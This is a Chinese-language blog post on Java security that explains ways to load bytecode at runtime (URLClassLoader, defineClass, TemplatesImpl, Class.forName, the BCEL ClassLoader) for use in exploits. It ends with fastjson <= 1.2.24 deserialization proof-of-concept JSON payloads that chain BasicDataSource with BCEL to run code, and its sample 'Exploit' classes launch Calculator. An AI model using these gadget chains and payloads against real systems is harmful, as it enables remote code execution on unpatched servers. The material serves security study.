Java中动态加载字节码的方法 (持续补充)

最新推荐文章于 2024-06-10 09:38:25 发布
最新推荐文章于 2024-06-10 09:38:25 发布
阅读量2.6k 收藏 5
点赞数 2
文章标签： java 开发语言 后端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/mole_exp/article/details/122768814
版权

文章目录

Java中动态加载字节码的方法

1、利用 URLClassLoader 加载远程class文件

public static void main(String[] args) {
    try {
        //使用file协议在本地寻找指定.class文件
        //URL[] urls = new URL[]{new URL("file:///Users/fa1c0n/codeprojects/IdeaProjects/misc-classes/src/main/java/")};
        //使用http协议到远程地址寻找指定.class文件
        URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/")};
        URLClassLoader urlClassLoader = new URLClassLoader(urls);
        Class clazz = urlClassLoader.loadClass("Exploit");
        clazz.newInstance();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

2、利用 ClassLoader#defineClass 直接加载字节码

2.1 类加载 - 双亲委派模型

在这里插入图片描述

  • BootstrapClassLoader：启动类加载器/根加载器，负责加载 JVM 运行时核心类，这些类位于 JAVA_HOME/lib/rt.jar 文件中，我们常用内置库 java.*.*都在里面。这个 ClassLoader 比较特殊，它其实不是一个ClassLoader实例对象，而是由C代码实现。用户在实现自定义类加载器时，如果需要把加载请求委派给启动类加载器，那可以直接传入null作为 BootstrapClassLoader。

  • ExtClassLoader：扩展类加载器，负责加载 JVM 扩展类，扩展 jar 包位于 JAVA_HOME/lib/ext/*.jar 中，库名通常以 javax 开头。

  • AppClassLoader，应用类加载器/系统类加载器，直接提供给用户使用的ClassLoader，它会加载 ClASSPATH 环境变量或者 java.class.path 属性里定义的路径中的 jar 包和目录，负责加载包括开发者代码中、第三方库中的类。AppClassLoader 可以由 ClassLoader 类提供的静态方法 getSystemClassLoader() 得到。

ClassLoader.getParent() 可以获取用于委派的父级class loader，通常会返回null来表示bootstrap class loader。

2.2 双亲委派模型的代码实现

在这里插入图片描述

如上图，实现双亲委派的代码都集中在 java.lang.ClassLoader#loadClass()方法中，其逻辑如下：

  • 先检查是否已被加载过;
  • 若没有加载过则调用父加载器的loadClass()方法；
  • 若父加载器为null则默认使用启动类加载器(Bootstrap ClassLoader)作为父加载器；
  • 如果父加载器加载类失败，抛出ClassNotFoundException异常后，再调用自己的findClass()方法进行加载。(findClass()最终会调用defineClass()加载字节码)

注意：
这里的“双亲”，指的并不是有两个父加载器，可能仅仅是英文“parent”的翻译。每个ClassLoader最多有一个父加载器，也就是parent变量。“双亲委派机制”指的就是优先让父加载器去加载类，如果父加载器没有成功加载到类，才由本ClassLoader加载。
 
这样可以保证安全性，防止系统类被伪造(比如自定义java.lang.Object类，肯定是无法运行的)。
对于Java程序来讲，一般的类是由AppClassLoader来加载的，而系统类则是由BootStrapClassLoader加载的。由于BootStrapClassLoader是在native层实现的，所以调用系统类的getClassLoader()方法会返回null。

2.3 自定义ClassLoader

java.lang.ClassLoader是一个抽象类。创建一个继承自ClassLoader的类，并重写findClass()方法实现类的加载，即可完成自定义ClassLoader。示例如下：

public class MyClassLoader extends ClassLoader {
    private String dirPath;

    @Override
    public String getName() {
        return "MyClassLoader";
    }

    public MyClassLoader(String dirPath) {
        if (!dirPath.endsWith("/") && !dirPath.endsWith("\\")) {
            dirPath += "/";
        }
        this.dirPath = dirPath;
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        String filePath = dirPath + name.replace('.', '/') + ".class";
        byte[] b;
        Path path;
        try {
            path = Paths.get(new URI(filePath));
            b = Files.readAllBytes(path);
            // defineClass将字节数组转换成Class对象
            return defineClass(name, b, 0, b.length);
        } catch (IOException | URISyntaxException e) {
            e.printStackTrace();
            return null;
        }
    }
}

2.4 ClassLoader#defineClass() 加载字节码

不管是加载远程class文件，还是本地class文件，Java都经历了下面三个方法的调用：
在这里插入图片描述
从前面的分析可知：

  • loadClass() 的作用是从已加载的类、父加载器位置寻找类（即双亲委派机制），在前面没有找到的情况下，调用当前ClassLoader的findClass()方法；
  • findClass() 根据URL指定的方式来加载类的字节码，其中会调用defineClass()；
  • defineClass() 的作用是处理传入的字节码，返回一个Class类型的对象。

使用ClassLoader#defineClass()直接加载类字节码的示例：

Exploit3.java

public class Exploit3 {

    public Exploit3() {
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述

public class DefineClassDemo {
    public static void main(String[] args) {
        try {
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",
                    String.class, byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            byte[] codes = Base64.getDecoder().decode("yv66v...(class字节码的base64编码)...");
            Class expClazz = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(),
                    "Exploit3", codes, 0, codes.length);
            expClazz.newInstance();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述

注意：
ClassLoader#defineClass()被调用时，Class对象并不会被初始化，只有显示调用其构造方法，初始化代码才能被执行。即使将初始化代码放在类的static块中，在defineClass时也无法被直接调用到。因此，如果要使用defineClass()在目标机器上执行任意代码，需要想办法调用构造方法。
 

defineClass()是TemplatesImpl的基石。

3、利用 TemplatesImpl 加载字节码

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为fastjson <= 1.2.24 反序列化漏洞的其中一条利用链出现过。

虽然大部分上层开发者不会直接使用到defineClass()方法，但是Java底层还是有的类用到了它，比如TemplatesImpl。

TemplatesImpl#getOutputProperties()
  TemplatesImpl#newTransformer()
    TemplatesImpl#getTransletInstance()
      TemplatesImpl#defineTransletClasses()
        TransletClassLoader#defineClass()
      Class#newInstance()

TemplatesImpl#getOutputProperties()和TemplatesImpl#newTransformer()都是public类型，这里使用TemplatesImpl#newTransformer()来实现类加载并初始化。

public class TemplatesImplDemo {
    private static void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, fieldValue);
    }
    public static void main(String[] args) {
        try {
            byte[] codes = Base64.getDecoder().decode("yv66vg...(class字节码的base64编码)...");
            byte[][] _bytecodes = new byte[][] {
                    codes,
            };
            TemplatesImpl templates = new TemplatesImpl();
            setFiledValue(templates, "_bytecodes", _bytecodes);
            setFiledValue(templates, "_name", "whatever");
            setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());
            templates.newTransformer();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述
其中，TemplatesImpl对加载的字节码是有要求的：该字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类，如：

public class Exploit2 extends AbstractTranslet {
    public Exploit2() {
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

4、Class.forName()

4.1 使用Class.forName() 加载目标类

public class ClassforNameDemo {
    public static void main(String[] args) {
        try {
            //Class.forName(String className)，会对类进行初始化，执行类的static代码块
//            Class<?> clazz = Class.forName("evil.Exploit2");
            //Class.forName(String name, boolean initialize, ClassLoader loader),
            //   如果参数initialize为true，则会对类进行初始化，执行类的static代码块
            Class.forName("evil.Exploit2", true, ClassLoader.getSystemClassLoader());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

4.2 Class.forName()和ClassLoader#loadClass()的区别

其实Class.forName() 也是使用ClassLoader去加载目标类的，但与ClassLoader#loadClass() 不同的是：

  • (1) Class.forName() 默认情况下会对类进行初始化，执行类中的 static 代码块。而ClassLoader.loadClass() 并不会对类进行初始化，只是把类加载到了 JVM 虚拟机中。
  • (2) Class.forName() 可以加载数组，而 ClassLoader.loadClass() 不能。
    在这里插入图片描述

5、利用BCEL ClassLoader加载字节码

com.sun.org.apache.bcel.internal.util.ClassLoader是常常在构造漏洞利用PoC时用到的类。

那么BCEL究竟是什么？它为什么会出现在JDK中？

5.1 BCEL 简介

注：简介这部分是直接摘抄自P牛的文章(参考[2])

BCEL的全名是 Apache Commons BCEL，是Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生，反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。

就这个库的功能来看，其使用面远不及同胞兄弟们，但是他比Commons Collections特殊的一点是，它被包含在了原生的JDK中，位于com.sun.org.apache.bcel。

JDK会将BCEL放到自己的代码中，可能是为了支撑Java XML相关的功能。准确的来说，Java XML功能包含了JAXP规范，而Java中自带的JAXP实现使用了Apache Xerces和Apache Xalan，Apache Xalan又依赖了BCEL，所以BCEL也被放入了标准库中。

JAXP全名是Java API for XML Processing，他是Java定义的一系列接口，用于处理XML相关的逻辑，包括DOM、SAX、StAX、XSLT等。Apache Xalan实现了其中XSLT相关的部分，其中包括xsltc compiler。

XSLT（扩展样式表转换语言）是一种为可扩展置标语言提供表达形式而设计的计算机语言，主要用于将XML转换成其他格式的数据。既然是一门动态“语言”，在Java中必然会先被编译成class，才能够执行。

XSLTC Compiler就是一个命令行编译器，可以将一个xsl文件编译成一个class文件或jar文件，编译后的class被称为translet，可以在后续用于对XML文件的转换。其实就将XSLT的功能转化成了Java代码，优化执行的速度，如果我们不使用这个命令行编译器进行编译，Java内部也会在运行过程中存在编译的过程。

尝试用本地的Java（注意需要用Java7或6，使用8将会出现异常）来编译一下hello.xsl：

$ java com.sun.org.apache.xalan.internal.xsltc.cmdline.Compile hello.xsl

在这里插入图片描述
可见，从hello.xsl生成了hello.class，反编译这个class即可看到源代码。

不知道大家看到这个代码里的AbstractTranslet会不会有点眼熟？我们在反序列化时常用的另一个类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl，它在defineClass中需要的字节码所对应的基类，就是这里的com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。

其实Java里很多东西是有因果的，TemplatesImpl是对JAXP标准中javax.xml.transform.Templates接口的实现，前文说了，XSLT在使用时会先编译成Java字节码，这也就是为什么TemplatesImpl会使用defineClass的原因。

关于XSLT这块的内容比较多，不是本文的重点，我就不细说了。那么这部分内容和BCEL有什么关系呢？

你应该也能猜到了，因为需要“编译”XSL文件，实际上核心是动态生成Java字节码，而BCEL正是一个处理字节码的库，所以Apache Xalan是依赖BCEL的。

5.2 BCEL ClassLoader的使用

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import evil.Exploit3;
import java.util.Base64;
public class BCELClassLoaderDemo {
    /**
     * 生成BCEL格式的字节码，方法一：
     *   通过 Repository.lookupClass()将Class对象转化为表示Java字节码的对象JavaClass
     *   然后通过Utility.encode() 将Java字节码对象JavaClass转化为BCEL格式的字节码
     */
    public static String generateBcelCode1(Class clazz) throws Exception {
        JavaClass evilJavaClazz = Repository.lookupClass(clazz);
        String code = Utility.encode(evilJavaClazz.getBytes(), true);
        String bcelCode = "$$BCEL$$" + code;
        System.out.println("bcelcode=" + bcelCode);
        return bcelCode;
    }
    /**
     * 生成BCEL格式的字节码，方法二：
     *   将Java字节码直接传入Utility.encode() ，从而得到BCEL格式的字节码
     */
    public static String generateBcelCode2(String classBase64) throws Exception {
        byte[] codes = Base64.getDecoder().decode(classBase64);
        String code = Utility.encode(codes, true);
        String bcelCode = "$$BCEL$$" + code;
        System.out.println("bcelcode=" + bcelCode);
        return bcelCode;
    }
    public static void main(String[] args) {
        try {
            ClassLoader bcelClassLoader = new ClassLoader();
//            String bcelCode = generateBcelCode1(Exploit3.class);
            String bcelCode = generateBcelCode2("yv66v...(class字节码的base64编码)...");
            bcelClassLoader.loadClass(bcelCode).newInstance();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述

5.3 BCEL在fastjson <= 1.2.24 反序列化漏洞中的利用

之前的文章Fastjson反序列化高危漏洞系列-part1：1.2.x — 1.2.47 讲述了 fastjson <= 1.2.24 反序列化漏洞的两条利用链：

  • 使用JNDI注入的JdbcRowSetImpl利用链；
  • 使用TemplatesImpl动态加载字节码的利用链。

其实早期还有一条比较通用的利用链：org.apache.tomcat.dbcp.dbcp2.BasicDataSource（在一些较老的版本包名是：org.apache.tomcat.dbcp.dbcp.BasicDataSource），这个类在tomcat-dbcp这个库中，且这个库默认在Tomcat环境中。但不包括Springboot，Springboot默认自带的Tomcat环境并没有这个包，所以需要另外引入。

依赖：tomcat-dbcp，这里以9.0.55版本为例：

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.55</version>
</dependency>

调用链：

BasicDataSource#getConnection()
  BasicDataSource#createDataSource()
    BasicDataSource#createConnectionFactory()
      DriverFactory#createDriver()
        Class.forName()      //当恶意类的恶意代码放在static代码块时，这里就会执行
        Constructor#newInstance()  //当恶意类的恶意代码放在构造方法时，也会执行

在这里插入图片描述
Class.forName()中的driverClass和driverClassLoader在BasicDataSource类中都有对应的set方法，所以可通过json字符串传入，指定ClassLoader为BCEL ClassLoader，同时传入恶意类的BCEL格式的字节码，便可初始化恶意类。那么构造PoC的关键就是如何让fastjson反序列化时执行BasicDataSource#getConnection()方法。

PoC-1：当fastjson调用JSON.parse()进行反序列化

{
    {
        "a": {
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$..."
          }
    }: "b"
}

由于BasicDataSource#getConnection()的返回类型是java.sql.Connection，并不是Map的子类型，所以在json字符串传入connection属性，fastjson反序列化时并不会执行BasicDataSource#getConnection() 。

在PoC-1中，{"a":{"@type":.....}} 被反序列化为一个JSONObject对象，然后将这部分用{}再包一层作为key，这样，在反序列化的过程中就会触发JSONObject#toString()方法，关键代码如下图：
在这里插入图片描述
JSONObject#toString()，其实就是JSONObject对象序列化为JSON字符串的过程，其实际调用的是JSON#toJSONString()方法。既然是序列化，那就会遍历并调用对象的所有get方法，从而触发BasicDataSource#getConnection()方法。

也许你会说，用$ref引用的方式去调用BasicDataSource的getXXX()方法不就好了。笔者试了一下，在1.2.24版本不行。对比了一下代码，在1.2.36及后续版本才可以。

PoC-2：当fastjson调用JSON.parseObject()进行反序列化

{
   "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
   "driverClassLoader": {
         "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
       },
     "driverClassName": "$$BCEL$$..."
}

而如果目标程序是调用JSON.parseObject(jsonStr) 进行反序列化，PoC的构造就不用那么麻烦了，如PoC-2 所示。

因为在JSON.parseObject(jsonStr) 中，调用parse(jsonStr)反序列化后，还会调用JSON.toJSON()将反序列化得到的对象转化为JSONObject对象。而在JSON.toJSON()方法执行的过程中，会遍历对象的所有get方法并执行。
在这里插入图片描述

利用链如下：

JSON.parseObject()
  JSON.toJSON()
     JavaBeanSerializer#getFieldValuesMap()
       FieldSerializer#getPropertyValue()
         Field#get()
           Method#invoke()     //执行BasicDataSource#getConnection()

5.4 坑 - BCEL ClassLoader去哪了

在8u251及之后的JDK版本中，BCEL ClassLoader com.sun.org.apache.bcel.internal.util.ClassLoader 这个类被移除了，具体原因的分析可参考P牛的文章(参考[2])。之后这个类还会不会回归JDK还不知道。

参考

[1] https://github.com/phith0n/JavaThings
[2] https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
[3] 《深入理解Java虚拟机 第2版》 作者：周志明
[4] https://www.jianshu.com/p/6842f96aa0ad
[5] https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

xc8qanAFenlka@x1
关注
  • 2
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Java 将字符串动态生成字节码的实现方法
09-04
在Java编程语言中，动态生成字节码是一项高级技术，它允许程序在运行时创建新的类或修改已有的类。这种技术通常用于元编程、AOP（面向切面编程）和性能优化等领域。本文将详细讲解如何使用Java将字符串转换为可执行...
java字节码框架ASM操作字节码的方法浅析
08-31
Java字节码框架ASM是一个强大的库，它允许程序员在运行时动态生成和修改Java类和接口的字节码。ASM提供了对JVM字节码的底层访问，这使得开发者能够实现诸如AOP（面向切面编程）或者元编程等高级功能。 首先，我们...
Java安全-动态加载字节码
qq_52988816的博客
08-17 650
首先我们来看看什么是JAVA字节码，Java字节码是Java虚拟机执行的一种虚拟指令格式。换一种说法就是编译后得到的class文件内容，本质上就是JVM执行使用的一类指令。可以说是**所有能够恢复成一个类并在JVM虚拟机里加载的字节序列。个人理解就是利用一些方法去执行class文件内容。**接下来给大家带来几种加载字节码的方法。...
JVM——类与字节码加载篇
Xiaofeng_Lu__的博客
12-17 763
类与字节码加载相关内容
探秘Apache Commons BCEL：强大的字节码工程库
最新发布
gitblog_00092的博客
06-10 384
探秘Apache Commons BCEL：强大的字节码工程库 项目地址:https://gitcode.com/apachecommons-bcel/commons-bcel Apache Commons BCEL（Bytecode Engineering Library）是一个强大的Java字节码操控和分析框架，它提供了创建、修改和分析类文件的能力，是进行动态程序生成、代码分析和优化的得力工具...
利用TemplatesImpl加载字节码
Thunderclap的博客
02-06 391
调用了 TemplatesImpl#newTransformer() 并且它也是 public 类型的，如下也成功触发。TemplatesImpl 类中已经没有调用 getTransletClasses() 的方法了，而 getTransletInstance() 方法在。com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类。Java中默认情况下，如果一个。方法中被调用了，所以构造如下链，P牛用的就是如下的链。
【杂记】java 读取未知文件大小，实现byte[]数组的动态扩容
搬砖.......
10-26 543
byte数据动态扩容
Java类加载机制：从字节码到对象的奇妙之旅
洛雪
06-23 886
类加载机制是Java虚拟机将字节码转换成可运行的类的过程。这个过程包括三个主要步骤：加载、链接和初始化​编辑就是将字节码文件从不同的来源（如本地文件系统、网络、内存等等）读取到虚拟机中，并创建一个对应的Class对象，用来表示这个类在内存中的数据结构。连接：就是将加载后的Class对象进行验证、准备和解析三个阶段的处理，以保证类的正确性和完整性。其中包含了下面三个小步骤验证：就是检查元数据Class对象是否符合Java虚拟机规范。验证文件格式验证；验证字节码验证（确定程序语义合法，符合逻辑）；
java 中如何获取字节码文件的相关内容
08-30
以下将详细讲解如何在Java中获取字节码文件的相关内容，包括构造函数、成员变量和成员函数。 一、获取字节码文件的构造函数 在Java中，我们可以使用`Class`类的`getConstructor`方法来获取指定类型的构造函数。...
Java中invokedynamic字节码指令问题
08-26
Java中invokedynamic字节码指令问题是Java中一个相对复杂的字节码指令，invokedynamic指令是Java 7中引入的新特性，主要用于实现方法引用（Method Reference）和动态方法调用。invokedynamic指令可以将方法调用延迟...
java注解_反射_字节码_类加载机制.zip
05-13
Java注解、反射、字节码和类加载机制是Java编程中的核心概念，它们在实际开发中扮演着重要角色。让我们深入探讨这些知识点。 **Java注解(Annotation)**: Java注解是一种元数据，它提供了在编译时或运行时处理代码的...
java 动态加载的实现代码
08-29
主要介绍了java 动态加载的实现代码的相关资料,Java动态加载类主要是为了不改变主程序代码，通过修改配置文件就可以操作不同的对象执行不同的功能，需要的朋友可以参考下
Java动态字节码编译工具
长沙老码农
11-16 598
通过Java字节码技术，实现对代码的动态修改，不需要重启服务或者热替换，即可实现业务功能的逻辑修改！
Java动态字节码注入技术
琅琊之榜
08-21 1262
Java动态字节码注入技术是一种在运行时修改Java字节码的技术。它允许开发者在程序运行期间动态地向现有的Java类中注入字节码，并改变类的行为和功能。这项技术通常用于实现AOP（面向切面编程）、代码增强、动态代理等需求。
java 动态 byte_动态字节数组的转换 Tbytes String、ANSIString及TBytes之间的转换
weixin_32503531的博客
03-07 762
一、string转为ansistring1、直接赋值 (有警告)2、ansistring()类型强制转换。(无警告)二、ansistring 转为string1、直接赋值 (有警告)2、string()类型强制转换。(无警告)三、string 转为Tbytes1、bytes:= bytesof(str) 已转为ansi编码2、bytes:= widebytesof(str) UNICODE 编码四...
Java 动态分配数组长度
Shan_mei的专栏
02-26 4215
int[] ary={1,1,1//...}; ary=Arrays.copyOf(ary,ary.length+1); ary[ary.length-1]=?//......你需要添加的值
java--动态加载
zyer
05-17 2941
Java字节码(ByteCode)指的是Java虚拟机执行使用的一类指令，通常被存储在.class文件中。 但是我们所说的"字节码"可以理解的更广义一些----所有能够恢复成一个类并在JVM虚拟机里加载的字节序列，都在我们的讨论范围之内。 Java的ClassLoader是用来加载字节码文件最基础的方法，ClassLoader就是一个"加载器"，告诉Java虚拟机如何加载这个类。 ClassLoader就是根据类名来加载类，这个类名是类完整路径。 我们在学习反射的时候利用到的Class.forNam
java代码动态注入与class文件热加载实现
qq_21223653的博客
05-09 5912
一、java代码动态注入 在本文中，我们将研究如何将Java代码动态加载到正在运行的jvm中。 该代码可能是全新的，或者我们可能想更改程序中某些现有代码的功能。 （在开始之前，您可能想知道为什么到底有人会这样做。显而易见的示例是规则引擎之类的东西。规则引擎希望为用户提供添加或更改规则的能力，而不必重新启动规则。您可以通过将DSL脚本作为规则注入规则库来执行此操作，这种方法的真正问题在于，必须对DSL脚本进行解释，使其运行起来极其缓慢。然后可以像程序中的任何其他代码一样编译和运行该程序，效率将提高几个数量级。
Java安全--篇2-类的动态加载
qq_64201116的博客
12-05 1036
首先我们来了解一下构造代码块和静态代码块：Java中静态代码块、构造代码块、构造函数、普通代码块 - YSOcean - 博客园 继上周我们重写了Person类： 我们先写一个main来实例化Person看一下结果：看到这个结果我们可以观察到两个信息：接下来我们利用反射来尝试获取类看看会发生什么：发现只调用了静态代码块为什么？了解一下类是怎么加载到JVM中的：类加载过程，以及什么是双亲委派？ - 掘金用图来说就是这样：只要初始化了就会执行静态代码块如果实例化那么与对象相关的实例化和构造方法也会被调用
java中lombok生成get/set方法字节码的实现原理
06-02
Lombok是通过在编译期间使用Java的注解处理器和字节码框架（通常是ASM）来生成get/set方法的字节码的。 具体来说，当我们在Java类中使用Lombok的@Getter和@Setter注解时，Lombok会在编译期间通过Java注解处理器解析注解，并使用ASM框架生成对应的get/set方法的字节码，然后将生成的字节码插入到编译后的Java类文件中。 下面是Lombok生成getter方法字节码的示例： ```java @Getter public class User { private String name; private int age; } ``` 上面的代码使用了Lombok的@Getter注解来生成User类的getter方法。在编译期间，Lombok会通过注解处理器解析@Getter注解，并生成以下字节码： ```java public class User { private String name; private int age; public String getName() { return this.name; } public int getAge() { return this.age; } } ``` 可以看到，Lombok通过注解处理器和ASM框架生成了User类的getter方法的字节码，并将其插入到编译后的Java类文件中。 总的来说，Lombok生成get/set方法的字节码的实现原理是利用Java的注解处理器和字节码框架，在编译期间解析注解，并生成对应的Java字节码，然后将其插入到编译后的Java类文件中。这种方式可以大大简化Java代码，提高开发效率。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值